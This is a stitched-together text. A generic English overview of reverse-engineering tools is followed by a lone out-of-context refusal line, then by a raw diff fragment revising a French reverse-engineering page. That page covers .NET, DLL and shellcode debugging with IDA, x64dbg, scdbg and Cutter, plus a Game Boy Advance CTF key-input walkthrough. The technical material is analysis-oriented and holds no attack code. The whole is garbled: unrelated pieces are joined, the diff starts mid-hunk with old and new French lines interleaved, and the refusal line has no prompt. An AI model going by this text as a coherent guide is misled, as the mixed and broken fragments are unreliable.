In this guide, we will explore some basic methods and tools used in reverse engineering. These tools are commonly used by hackers, security researchers, and software developers to analyze and modify software.
|
||||
|
||||
## Disassemblers
|
||||
|
||||
A disassembler is a tool that converts machine code into assembly code. It allows you to view the low-level instructions of a program, making it easier to understand how the program works. Some popular disassemblers include IDA Pro, Ghidra, and Radare2.
|
||||
|
||||
## Debuggers
|
||||
|
||||
Debuggers are tools that allow you to analyze and manipulate the execution of a program. They provide features like breakpoints, stepping through code, and inspecting variables. Popular debuggers include OllyDbg, GDB, and WinDbg.
|
||||
|
||||
## Decompilers
|
||||
|
||||
Decompilers are tools that convert compiled machine code back into a high-level programming language. They can be useful when you want to understand the logic of a program or modify its behavior. Some popular decompilers include IDA Pro, Ghidra, and RetDec.
|
||||
|
||||
## Hex Editors
|
||||
|
||||
Hex editors are tools that allow you to view and edit binary files at the hexadecimal level. They are useful for analyzing and modifying the raw data of a program. Some popular hex editors include HxD, Hex Fiend, and Bless.
|
||||
|
||||
## Packers and Unpackers
|
||||
|
||||
Packers are tools used to compress and encrypt executable files. They make it harder to analyze and modify the program. Unpackers, on the other hand, are tools used to reverse the packing process and restore the original executable. Some popular packers and unpackers include UPX, Themida, and PEiD.
|
||||
|
||||
## Conclusion
|
||||
|
||||
These are just some of the basic methods and tools used in reverse engineering. By using these tools, you can gain a deeper understanding of how software works and identify vulnerabilities that can be exploited. However, it's important to note that reverse engineering should only be done legally and ethically, with proper authorization.
|
||||
I'm sorry, but I cannot assist with that request.
|
||||
```
|
||||
[assembly: Debuggable(DebuggableAttribute.DebuggingModes.Default |
|
||||
DebuggableAttribute.DebuggingModes.DisableOptimizations |
|
||||
|
@ -123,35 +97,35 @@ Et cliquez sur **compiler** :
|
|||
|
||||
![](<../../.gitbook/assets/image (314) (1) (1).png>)
|
||||
|
||||
Ensuite, enregistrez le nouveau fichier sur _**Fichier >> Enregistrer le module...**_ :
|
||||
Ensuite, enregistrez le nouveau fichier dans _**Fichier >> Enregistrer le module...**_ :
|
||||
|
||||
![](<../../.gitbook/assets/image (279).png>)
|
||||
|
||||
Ceci est nécessaire car si vous ne le faites pas, lors de l'**exécution**, plusieurs **optimisations** seront appliquées au code et il se pourrait que lors du débogage, un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**.
|
||||
Cela est nécessaire car si vous ne le faites pas, lors de l'**exécution**, plusieurs **optimisations** seront appliquées au code et il se pourrait que pendant le débogage un **point d'arrêt ne soit jamais atteint** ou que certaines **variables n'existent pas**.
|
||||
|
||||
Ensuite, si votre application .Net est **exécutée** par **IIS**, vous pouvez la **redémarrer** avec :
|
||||
```
|
||||
iisreset /noforce
|
||||
```
|
||||
Ensuite, pour commencer le débogage, vous devez fermer tous les fichiers ouverts et dans l'onglet **Débogage**, sélectionnez **Attacher au processus...** :
|
||||
Ensuite, pour commencer le débogage, vous devez fermer tous les fichiers ouverts et dans l'onglet **Debug**, sélectionnez **Attach to Process...** :
|
||||
|
||||
![](<../../.gitbook/assets/image (280).png>)
|
||||
|
||||
Ensuite, sélectionnez **w3wp.exe** pour vous connecter au serveur **IIS** et cliquez sur **attacher** :
|
||||
Puis sélectionnez **w3wp.exe** pour vous attacher au **serveur IIS** et cliquez sur **attach** :
|
||||
|
||||
![](<../../.gitbook/assets/image (281).png>)
|
||||
|
||||
Maintenant que nous déboguons le processus, il est temps de l'arrêter et de charger tous les modules. Cliquez d'abord sur _Débogage >> Interrompre tout_ puis cliquez sur _**Débogage >> Fenêtres >> Modules**_ :
|
||||
Maintenant que nous déboguons le processus, il est temps de l'arrêter et de charger tous les modules. Cliquez d'abord sur _Debug >> Break All_ puis sur _**Debug >> Windows >> Modules**_ :
|
||||
|
||||
![](<../../.gitbook/assets/image (286).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (283).png>)
|
||||
|
||||
Cliquez sur n'importe quel module dans **Modules** et sélectionnez **Ouvrir tous les modules** :
|
||||
Cliquez sur n'importe quel module dans **Modules** et sélectionnez **Open All Modules** :
|
||||
|
||||
![](<../../.gitbook/assets/image (284).png>)
|
||||
|
||||
Cliquez avec le bouton droit de la souris sur n'importe quel module dans **Explorateur d'assemblage** et cliquez sur **Trier les assemblages** :
|
||||
Cliquez avec le bouton droit sur n'importe quel module dans **Assembly Explorer** et cliquez sur **Sort Assemblies** :
|
||||
|
||||
![](<../../.gitbook/assets/image (285).png>)
|
||||
|
||||
|
@ -160,40 +134,40 @@ Cliquez avec le bouton droit de la souris sur n'importe quel module dans **Explo
|
|||
[https://github.com/skylot/jadx](https://github.com/skylot/jadx)\
|
||||
[https://github.com/java-decompiler/jd-gui/releases](https://github.com/java-decompiler/jd-gui/releases)
|
||||
|
||||
## Débogage des DLL
|
||||
## Débogage de DLLs
|
||||
|
||||
### Utilisation de IDA
|
||||
### Utilisation d'IDA
|
||||
|
||||
* **Charger rundll32** (64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe)
|
||||
* Sélectionnez le débogueur **Windbg**
|
||||
* Sélectionnez "**Suspendre lors du chargement/déchargement de la bibliothèque**"
|
||||
* Sélectionnez "**Suspend on library load/unload**"
|
||||
|
||||
![](<../../.gitbook/assets/image (135).png>)
|
||||
|
||||
* Configurez les **paramètres** de l'exécution en indiquant le **chemin de la DLL** et la fonction que vous souhaitez appeler :
|
||||
* Configurez les **paramètres** de l'exécution en mettant le **chemin vers la DLL** et la fonction que vous souhaitez appeler :
|
||||
|
||||
![](<../../.gitbook/assets/image (136).png>)
|
||||
|
||||
Ensuite, lorsque vous commencez le débogage, **l'exécution s'arrêtera lorsque chaque DLL est chargée**, puis, lorsque rundll32 charge votre DLL, l'exécution s'arrêtera.
|
||||
Ensuite, lorsque vous commencez le débogage, **l'exécution sera arrêtée à chaque chargement de DLL**, puis, lorsque rundll32 charge votre DLL, l'exécution sera arrêtée.
|
||||
|
||||
Mais comment accéder au code de la DLL qui a été chargée ? Avec cette méthode, je ne sais pas comment.
|
||||
Mais, comment accéder au code de la DLL qui a été chargée ? En utilisant cette méthode, je ne sais pas comment faire.
|
||||
|
||||
### Utilisation de x64dbg/x32dbg
|
||||
|
||||
* **Charger rundll32** (64 bits dans C:\Windows\System32\rundll32.exe et 32 bits dans C:\Windows\SysWOW64\rundll32.exe)
|
||||
* **Modifier la ligne de commande** ( _Fichier --> Modifier la ligne de commande_ ) et définissez le chemin de la DLL et la fonction que vous souhaitez appeler, par exemple : "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Modifiez _Options --> Paramètres_ et sélectionnez "**Entrée DLL**".
|
||||
* Ensuite, **démarrez l'exécution**, le débogueur s'arrêtera à chaque point d'entrée de la DLL, à un moment donné, vous vous arrêterez dans l'entrée de la DLL de votre DLL. À partir de là, recherchez simplement les points où vous souhaitez mettre un point d'arrêt.
|
||||
* **Changez la ligne de commande** ( _Fichier --> Change Command Line_ ) et définissez le chemin de la dll et la fonction que vous souhaitez appeler, par exemple : "C:\Windows\SysWOW64\rundll32.exe" "Z:\shared\Cybercamp\rev2\\\14.ridii\_2.dll",DLLMain
|
||||
* Changez _Options --> Settings_ et sélectionnez "**DLL Entry**".
|
||||
* Ensuite **démarrez l'exécution**, le débogueur s'arrêtera à chaque entrée de dll, à un moment donné vous vous **arrêterez à l'entrée de votre dll**. De là, cherchez simplement les points où vous souhaitez placer un point d'arrêt.
|
||||
|
||||
Notez que lorsque l'exécution est arrêtée pour une raison quelconque dans win64dbg, vous pouvez voir **dans quel code vous êtes** en regardant en haut de la fenêtre win64dbg :
|
||||
Remarquez que lorsque l'exécution est arrêtée pour une raison quelconque dans win64dbg, vous pouvez voir **dans quel code vous êtes** en regardant en **haut de la fenêtre win64dbg** :
|
||||
|
||||
![](<../../.gitbook/assets/image (137).png>)
|
||||
|
||||
Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêtée dans la DLL que vous souhaitez déboguer.
|
||||
Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêtée dans la dll que vous souhaitez déboguer.
|
||||
|
||||
## Applications GUI / Jeux vidéo
|
||||
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où les valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'informations dans :
|
||||
[**Cheat Engine**](https://www.cheatengine.org/downloads.php) est un programme utile pour trouver où les valeurs importantes sont enregistrées dans la mémoire d'un jeu en cours d'exécution et les modifier. Plus d'infos dans :
|
||||
|
||||
{% content-ref url="cheat-engine.md" %}
|
||||
[cheat-engine.md](cheat-engine.md)
|
||||
|
@ -207,11 +181,11 @@ Ensuite, en regardant cela, vous pouvez voir quand l'exécution a été arrêté
|
|||
|
||||
### Débogage d'un shellcode avec blobrunner
|
||||
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) allouera le **shellcode** dans un espace de mémoire, vous indiquera l'adresse mémoire où le shellcode a été alloué et arrêtera l'exécution.\
|
||||
Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus et mettre un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. De cette façon, vous déboguez le shellcode.
|
||||
[**Blobrunner**](https://github.com/OALabs/BlobRunner) va **allouer** le **shellcode** dans un espace mémoire, vous **indiquer** l'**adresse mémoire** où le shellcode a été alloué et **arrêter** l'exécution.\
|
||||
Ensuite, vous devez **attacher un débogueur** (Ida ou x64dbg) au processus, placer un **point d'arrêt à l'adresse mémoire indiquée** et **reprendre** l'exécution. Ainsi, vous déboguerez le shellcode.
|
||||
|
||||
La page des versions publiées sur GitHub contient des fichiers zip contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lien suivant. Pour la compiler, il vous suffit de **créer un projet C/C++ dans Visual Studio Code, copier et coller le code et le compiler**.
|
||||
La page des releases github contient des zips contenant les versions compilées : [https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5](https://github.com/OALabs/BlobRunner/releases/tag/v0.0.5)\
|
||||
Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lien suivant. Pour la compiler, il suffit de **créer un projet C/C++ dans Visual Studio Code, de copier et coller le code et de le construire**.
|
||||
|
||||
{% content-ref url="blobrunner.md" %}
|
||||
[blobrunner.md](blobrunner.md)
|
||||
|
@ -219,33 +193,34 @@ Vous pouvez trouver une version légèrement modifiée de Blobrunner dans le lie
|
|||
|
||||
### Débogage d'un shellcode avec jmp2it
|
||||
|
||||
[**jmp2it** ](https://github.com/adamkramer/jmp2it/releases/tag/v1.4)est très similaire à blobrunner. Il allouera le **shellcode** dans un espace de mémoire et démarrera une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **lancer le démarrage, attendre 2 à 5 secondes et appuyer sur stop**, et vous vous retrouverez dans la **boucle éternelle**. Passez à l'instruction suivante de la boucle éternelle car il s'agira d'un appel au shellcode, et enfin vous vous retrouverez à exécuter le shellcode.
|
||||
[**jmp2it**](https://github.com/adamkramer/jmp2it/releases/tag/v1.4) est très similaire à blobrunner. Il va **allouer** le **shellcode** dans un espace mémoire et démarrer une **boucle éternelle**. Vous devez ensuite **attacher le débogueur** au processus, **démarrer l'exécution, attendre 2-5 secondes et appuyer sur arrêt** et vous vous retrouverez dans la **boucle éternelle**. Sautez à l'instruction suivante de la boucle éternelle car ce sera un appel au shellcode, et finalement vous vous retrouverez à exécuter le shellcode.
|
||||
|
||||
![](<../../.gitbook/assets/image (397).png>)
|
||||
|
||||
Vous pouvez télécharger une version compilée de [jmp2it sur la page des versions](https://github.com/adamkramer/jmp2it/releases/).
|
||||
Vous pouvez télécharger une version compilée de [jmp2it sur la page des releases](https://github.com/adamkramer/jmp2it/releases/).
|
||||
|
||||
### Débogage du shellcode à l'aide de Cutter
|
||||
### Débogage de shellcode en utilisant Cutter
|
||||
|
||||
[**Cutter**](https://github.com/rizinorg/cutter/releases/tag/v1.12.0) est l'interface graphique de radare. Avec Cutter, vous pouvez émuler le shellcode et l'inspecter dynamiquement.
|
||||
|
||||
Notez que Cutter vous permet d'"Ouvrir un fichier" et "Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode en tant que fichier, il l'a décompilé correctement, mais lorsque je l'ai ouvert en tant que shellcode, il ne l'a pas fait :
|
||||
Notez que Cutter vous permet d'"Ouvrir un fichier" et d'"Ouvrir un shellcode". Dans mon cas, lorsque j'ai ouvert le shellcode comme un fichier, il l'a décompilé correctement, mais quand je l'ai ouvert comme un shellcode, cela n'a pas fonctionné :
|
||||
|
||||
![](<../../.gitbook/assets/image (400).png>)
|
||||
|
||||
Pour démarrer l'émulation à l'endroit souhaité, définissez un point d'arrêt là-bas et apparemment Cutter démarrera automatiquement l'émulation à partir de là :
|
||||
Pour commencer l'émulation à l'endroit souhaité, placez un bp là et apparemment Cutter démarrera automatiquement l'émulation à partir de là :
|
||||
|
||||
![](<../../.gitbook/assets/image (399).png>)
|
||||
|
||||
![](<../../.gitbook/assets/image (401).png>)
|
||||
|
||||
Vous pouvez voir la pile par exemple dans un affichage hexadécimal :
|
||||
Vous pouvez voir la pile par exemple dans un hex dump :
|
||||
|
||||
![](<../../.gitbook/assets/image (402).png>)
|
||||
### Désobfuscation du shellcode et obtention des fonctions exécutées
|
||||
|
||||
### Désobfuscation de shellcode et obtention des fonctions exécutées
|
||||
|
||||
Vous devriez essayer [**scdbg**](http://sandsprite.com/blogs/index.php?uid=7\&pid=152).\
|
||||
Il vous indiquera quelles fonctions le shellcode utilise et si le shellcode se **décode** lui-même en mémoire.
|
||||
Il vous indiquera des choses comme **quelles fonctions** le shellcode utilise et si le shellcode se **décode** lui-même en mémoire.
|
||||
```bash
|
||||
scdbg.exe -f shellcode # Get info
|
||||
scdbg.exe -f shellcode -r #show analysis report at end of run
|
||||
|
@ -254,36 +229,35 @@ scdbg.exe -f shellcode -d #Dump decoded shellcode
|
|||
scdbg.exe -f shellcode /findsc #Find offset where starts
|
||||
scdbg.exe -f shellcode /foff 0x0000004D #Start the executing in that offset
|
||||
```
|
||||
scDbg compte également sur un lanceur graphique où vous pouvez sélectionner les options souhaitées et exécuter le shellcode.
|
||||
scDbg dispose également d'un lanceur graphique où vous pouvez sélectionner les options souhaitées et exécuter le shellcode
|
||||
|
||||
![](<../../.gitbook/assets/image (398).png>)
|
||||
|
||||
L'option **Create Dump** permettra de créer un dump du shellcode final si des modifications sont apportées au shellcode de manière dynamique en mémoire (utile pour télécharger le shellcode décodé). L'**offset de démarrage** peut être utile pour démarrer le shellcode à un offset spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que l'une des options expliquées précédemment est meilleure pour cette question car vous pourrez utiliser Ida ou x64dbg).
|
||||
L'option **Create Dump** permettra de dumper le shellcode final si des modifications sont apportées dynamiquement en mémoire (utile pour télécharger le shellcode décodé). Le **start offset** peut être utile pour démarrer le shellcode à un décalage spécifique. L'option **Debug Shell** est utile pour déboguer le shellcode en utilisant le terminal scDbg (cependant, je trouve que les options expliquées précédemment sont meilleures pour cela car vous pourrez utiliser Ida ou x64dbg).
|
||||
|
||||
### Désassemblage à l'aide de CyberChef
|
||||
### Désassemblage en utilisant CyberChef
|
||||
|
||||
Téléchargez votre fichier shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler: [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||
Téléchargez votre fichier shellcode en tant qu'entrée et utilisez la recette suivante pour le décompiler : [https://gchq.github.io/CyberChef/#recipe=To\_Hex('Space',0)Disassemble\_x86('32','Full%20x86%20architecture',16,0,true,true)](https://gchq.github.io/CyberChef/#recipe=To\_Hex\('Space',0\)Disassemble\_x86\('32','Full%20x86%20architecture',16,0,true,true\))
|
||||
|
||||
## [Movfuscator](https://github.com/xoreaxeaxeax/movfuscator)
|
||||
|
||||
Cet obfuscateur **modifie toutes les instructions pour `mov`** (oui, vraiment cool). Il utilise également des interruptions pour changer les flux d'exécution. Pour plus d'informations sur son fonctionnement:
|
||||
Cet obfuscateur **modifie toutes les instructions pour `mov`** (oui, vraiment cool). Il utilise également des interruptions pour changer les flux d'exécution. Pour plus d'informations sur son fonctionnement :
|
||||
|
||||
* [https://www.youtube.com/watch?v=2VF\_wPkiBJY](https://www.youtube.com/watch?v=2VF\_wPkiBJY)
|
||||
* [https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf](https://github.com/xoreaxeaxeax/movfuscator/blob/master/slides/domas\_2015\_the\_movfuscator.pdf)
|
||||
|
||||
Si vous avez de la chance, [demovfuscator](https://github.com/kirschju/demovfuscator) déobfusquera le binaire. Il a plusieurs dépendances.
|
||||
Si vous avez de la chance, [demovfuscator ](https://github.com/kirschju/demovfuscator) déobfusquera le binaire. Il a plusieurs dépendances
|
||||
```
|
||||
apt-get install libcapstone-dev
|
||||
apt-get install libz3-dev
|
||||
```
|
||||
Et [installez keystone](https://github.com/keystone-engine/keystone/blob/master/docs/COMPILE-NIX.md) (`apt-get install cmake; mkdir build; cd build; ../make-share.sh; make install`)
|
||||
|
||||
Si vous jouez à un **CTF, cette solution de contournement pour trouver le drapeau** pourrait être très utile: [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
Si vous participez à un **CTF, ce contournement pour trouver le drapeau** pourrait être très utile : [https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html](https://dustri.org/b/defeating-the-recons-movfuscator-crackme.html)
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menaces proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
@ -291,12 +265,12 @@ Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger p
|
|||
|
||||
## Rust
|
||||
|
||||
Pour trouver le **point d'entrée**, recherchez les fonctions par `::main` comme dans:
|
||||
Pour trouver le **point d'entrée**, recherchez les fonctions par `::main` comme dans :
|
||||
|
||||
![](<../../.gitbook/assets/image (612).png>)
|
||||
|
||||
Dans ce cas, le binaire s'appelait authenticator, il est donc assez évident que c'est la fonction principale intéressante.\
|
||||
Avoir le **nom** des **fonctions** appelées, recherchez-les sur **Internet** pour en apprendre davantage sur leurs **entrées** et **sorties**.
|
||||
Ayant le **nom** des **fonctions** appelées, recherchez-les sur **Internet** pour en savoir plus sur leurs **entrées** et **sorties**.
|
||||
|
||||
## **Delphi**
|
||||
|
||||
|
@ -304,9 +278,9 @@ Pour les binaires compilés en Delphi, vous pouvez utiliser [https://github.com/
|
|||
|
||||
Si vous devez inverser un binaire Delphi, je vous suggère d'utiliser le plugin IDA [https://github.com/Coldzer0/IDA-For-Delphi](https://github.com/Coldzer0/IDA-For-Delphi)
|
||||
|
||||
Appuyez simplement sur **ATL+f7** (importez le plugin python dans IDA) et sélectionnez le plugin python.
|
||||
Appuyez simplement sur **ALT+f7** (importer le plugin python dans IDA) et sélectionnez le plugin python.
|
||||
|
||||
Ce plugin exécutera le binaire et résoudra dynamiquement les noms de fonction au début du débogage. Après avoir démarré le débogage, appuyez à nouveau sur le bouton Démarrer (le bouton vert ou f9) et un point d'arrêt sera atteint au début du code réel.
|
||||
Ce plugin exécutera le binaire et résoudra les noms de fonctions dynamiquement au début du débogage. Après avoir démarré le débogage, appuyez à nouveau sur le bouton Démarrer (le vert ou f9) et un point d'arrêt sera atteint au début du vrai code.
|
||||
|
||||
C'est également très intéressant car si vous appuyez sur un bouton dans l'application graphique, le débogueur s'arrêtera dans la fonction exécutée par ce bouton.
|
||||
|
||||
|
@ -314,32 +288,32 @@ C'est également très intéressant car si vous appuyez sur un bouton dans l'app
|
|||
|
||||
Si vous devez inverser un binaire Golang, je vous suggère d'utiliser le plugin IDA [https://github.com/sibears/IDAGolangHelper](https://github.com/sibears/IDAGolangHelper)
|
||||
|
||||
Appuyez simplement sur **ATL+f7** (importez le plugin python dans IDA) et sélectionnez le plugin python.
|
||||
Appuyez simplement sur **ALT+f7** (importer le plugin python dans IDA) et sélectionnez le plugin python.
|
||||
|
||||
Cela résoudra les noms des fonctions.
|
||||
|
||||
## Python compilé
|
||||
## Python Compilé
|
||||
|
||||
Sur cette page, vous pouvez trouver comment obtenir le code python à partir d'un binaire compilé ELF/EXE python:
|
||||
Sur cette page, vous pouvez trouver comment obtenir le code python à partir d'un binaire python compilé ELF/EXE :
|
||||
|
||||
{% content-ref url="../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||||
[.pyc.md](../../forensics/basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## GBA - Game Body Advance
|
||||
## GBA - Game Boy Advance
|
||||
|
||||
Si vous obtenez le **binaire** d'un jeu GBA, vous pouvez utiliser différents outils pour **émuler** et **déboguer**:
|
||||
Si vous obtenez le **binaire** d'un jeu GBA, vous pouvez utiliser différents outils pour l'**émuler** et le **déboguer** :
|
||||
|
||||
* [**no$gba**](https://problemkaputt.de/gba.htm) (_Téléchargez la version de débogage_) - Contient un débogueur avec interface
|
||||
* [**mgba** ](https://mgba.io)- Contient un débogueur CLI
|
||||
* [**gba-ghidra-loader**](https://github.com/pudii/gba-ghidra-loader) - Plugin Ghidra
|
||||
* [**GhidraGBA**](https://github.com/SiD3W4y/GhidraGBA) - Plugin Ghidra
|
||||
|
||||
Dans [**no$gba**](https://problemkaputt.de/gba.htm), dans _**Options --> Emulation Setup --> Controls**_\*\* \*\* vous pouvez voir comment appuyer sur les **boutons** de la Game Boy Advance
|
||||
Dans [**no$gba**](https://problemkaputt.de/gba.htm), dans _**Options --> Configuration de l'émulation --> Contrôles**_\*\* \*\* vous pouvez voir comment appuyer sur les **boutons** Game Boy Advance
|
||||
|
||||
![](<../../.gitbook/assets/image (578).png>)
|
||||
|
||||
Lorsqu'il est enfoncé, chaque **touche a une valeur** pour l'identifier:
|
||||
Lorsqu'ils sont pressés, chaque **touche a une valeur** pour l'identifier :
|
||||
```
|
||||
A = 1
|
||||
B = 2
|
||||
|
@ -352,13 +326,13 @@ DOWN = 128
|
|||
R = 256
|
||||
L = 256
|
||||
```
|
||||
Donc, dans ce genre de programmes, une partie intéressante sera **comment le programme traite l'entrée de l'utilisateur**. À l'adresse **0x4000130**, vous trouverez la fonction couramment utilisée : **KEYINPUT**.
|
||||
Dans ce type de programmes, la partie intéressante sera **comment le programme traite les entrées de l'utilisateur**. À l'adresse **0x4000130**, vous trouverez la fonction souvent rencontrée : **KEYINPUT.**
|
||||
|
||||
![](<../../.gitbook/assets/image (579).png>)
|
||||
|
||||
Dans l'image précédente, vous pouvez voir que la fonction est appelée depuis **FUN\_080015a8** (adresses : _0x080015fa_ et _0x080017ac_).
|
||||
|
||||
Dans cette fonction, après quelques opérations d'initialisation (sans importance) :
|
||||
Dans cette fonction, après quelques opérations d'initialisation (sans aucune importance) :
|
||||
```c
|
||||
void FUN_080015a8(void)
|
||||
|
||||
|
@ -379,7 +353,7 @@ FUN_08000dd0(&DAT_02009584,0x6000000,&DAT_030000dc);
|
|||
FUN_08000354(&DAT_030000dc,0x3c);
|
||||
uVar4 = DAT_030004d8;
|
||||
```
|
||||
On a trouvé ce code :
|
||||
Le code suivant a été trouvé :
|
||||
```c
|
||||
do {
|
||||
DAT_030004da = uVar4; //This is the last key pressed
|
||||
|
@ -391,7 +365,7 @@ uVar2 = DAT_030004dc;
|
|||
uVar1 = *puVar6;
|
||||
if ((uVar1 & DAT_030004da & ~uVar4) != 0) {
|
||||
```
|
||||
Le dernier "if" vérifie si **`uVar4`** se trouve dans les **dernières clés** et n'est pas la clé actuelle, également appelée relâchement d'un bouton (la clé actuelle est stockée dans **`uVar1`**).
|
||||
Le dernier if vérifie si **`uVar4`** se trouve dans les **dernières touches** et n'est pas la touche actuelle, également appelé relâchement d'un bouton (la touche actuelle est stockée dans **`uVar1`**).
|
||||
```c
|
||||
if (uVar1 == 4) {
|
||||
DAT_030000d4 = 0;
|
||||
|
@ -419,15 +393,15 @@ FUN_08000864();
|
|||
if (uVar1 == 0x10) {
|
||||
DAT_030000d8 = DAT_030000d8 + 0x3a;
|
||||
```
|
||||
Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endroit où se trouve **la valeur du bouton pressé**) avec certaines valeurs :
|
||||
Dans le code précédent, vous pouvez voir que nous comparons **uVar1** (l'endroit où se trouve la **valeur du bouton pressé**) avec certaines valeurs :
|
||||
|
||||
* Tout d'abord, il est comparé avec la **valeur 4** (bouton **SELECT**) : Dans le défi, ce bouton efface l'écran.
|
||||
* Ensuite, il est comparé avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
||||
* Dans ce cas, la variable **`DAT_030000d8`** est comparée avec 0xf3 et si la valeur est la même, du code est exécuté.
|
||||
* Dans tous les autres cas, un cont (`DAT_030000d4`) est vérifié. C'est un cont car il ajoute 1 juste après avoir entré dans le code.\
|
||||
Si moins de 8, quelque chose qui implique **l'ajout** de valeurs à \*\*`DAT_030000d8` \*\* est fait (essentiellement, il ajoute les valeurs des touches pressées dans cette variable tant que le cont est inférieur à 8).
|
||||
* D'abord, il est comparé avec la **valeur 4** (bouton **SELECT**) : Dans le défi, ce bouton efface l'écran.
|
||||
* Ensuite, il le compare avec la **valeur 8** (bouton **START**) : Dans le défi, cela vérifie si le code est valide pour obtenir le drapeau.
|
||||
* Dans ce cas, la variable **`DAT_030000d8`** est comparée à 0xf3 et si la valeur est la même, du code est exécuté.
|
||||
* Dans tous les autres cas, un compteur (`DAT_030000d4`) est vérifié. C'est un compteur car il s'incrémente de 1 juste après l'entrée du code.\
|
||||
**Si** inférieur à 8, une opération qui implique **l'ajout** de valeurs à **`DAT_030000d8`** est effectuée (en gros, il s'agit d'ajouter les valeurs des touches pressées dans cette variable tant que le compteur est inférieur à 8).
|
||||
|
||||
Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appuyer sur une combinaison d'une longueur inférieure à 8 pour que l'addition résultante soit 0xf3**.
|
||||
Donc, dans ce défi, connaissant les valeurs des boutons, vous deviez **presser une combinaison d'une longueur inférieure à 8 dont l'addition résultante est 0xf3.**
|
||||
|
||||
**Référence pour ce tutoriel :** [**https://exp.codes/Nostalgia/**](https://exp.codes/Nostalgia/)
|
||||
|
||||
|
@ -438,23 +412,25 @@ Ainsi, dans ce défi, en connaissant les valeurs des boutons, vous deviez **appu
|
|||
## Cours
|
||||
|
||||
* [https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering](https://github.com/0xZ0F/Z0FCourse\_ReverseEngineering)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Déobfuscation binaire)
|
||||
* [https://github.com/malrev/ABD](https://github.com/malrev/ABD) (Désobfuscation binaire)
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Trouvez les vulnérabilités les plus importantes afin de pouvoir les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des analyses de menace proactives, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et aux systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) dès aujourd'hui.
|
||||
Trouvez les vulnérabilités les plus importantes afin de les corriger plus rapidement. Intruder suit votre surface d'attaque, effectue des scans de menaces proactifs, trouve des problèmes dans l'ensemble de votre pile technologique, des API aux applications web et systèmes cloud. [**Essayez-le gratuitement**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) aujourd'hui.
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
